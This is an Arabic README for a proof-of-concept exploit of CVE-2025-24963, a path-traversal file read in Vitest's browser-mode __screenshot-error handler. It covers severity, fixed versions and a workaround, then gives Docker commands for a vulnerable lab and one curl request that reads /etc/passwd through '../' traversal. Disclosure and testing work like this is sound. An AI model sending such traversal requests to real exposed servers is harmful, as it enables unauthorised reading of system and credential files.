
استغلال إثبات المفهوم لـ CVE-2025-24963، وهي ثغرة قراءة ملفات محلية في وضع المتصفح لـ Vitest عبر معالج __screenshot-error، مما يتيح الكشف التعسفي عن الملفات على الخوادم المكشوفة.
CVE-2025-24963 هو ثغرة أمنية متوسطة الخطورة (درجة CVSS 3.1: 5.9) تؤثر على حزمة @vitest/browser، وهي مكون من إطار اختبار Vitest المدعوم من Vite. تنشأ هذه الثغرة من التحقق غير السليم من الإدخال في معالج __screenshot-error لخادم HTTP في وضع المتصفح. عندما يتم تعريض الخادم للشبكة باستخدام خيار التهيئة browser.api.host: true، يمكن للمهاجم إرسال طلبات مصممة خصيصًا للوصول إلى ملفات عشوائية على نظام ملفات الخادم، مما قد يؤدي إلى الكشف غير المصرح به عن معلومات حساسة.
تؤثر الثغرة على الإصدارات التالية من @vitest/browser:
تمت معالجة هذه المشكلة في الإصدارين 2.1.9 و 3.0.4. يُنصح المستخدمون بشدة بالترقية إلى هذه الإصدارات أو الأحدث للتخفيف من الثغرة.
إذا لم يكن الترقية الفورية ممكنة، فإن الحل البديل المؤقت هو تجنب تعريض خادم وضع المتصفح للشبكة عن طريق عدم تعيين browser.api.host: true في التهيئة الخاصة بك. سيمنع هذا الوصول الخارجي إلى المعالج المعرض للخطر.
git clone https://github.com/0xdeviner/CVE-2025-24963.git
cd CVE-2025-24963/vitest-vuln-demo
docker build -t vitest-cve-2025-24963 .
docker run -itd --name vitest-cve -p 63315:63315 vitest-cve-2025-24963
ملاحظة: المنفذ الذي يستخدمه Vitest ديناميكي (على سبيل المثال، 63315). قد ترغب في مراقبة السجلات وضبط علامة
-pوفقًا لذلك.
curl "http://<IP>:63315/__screenshot-error?file=../../../../../../etc/passwd"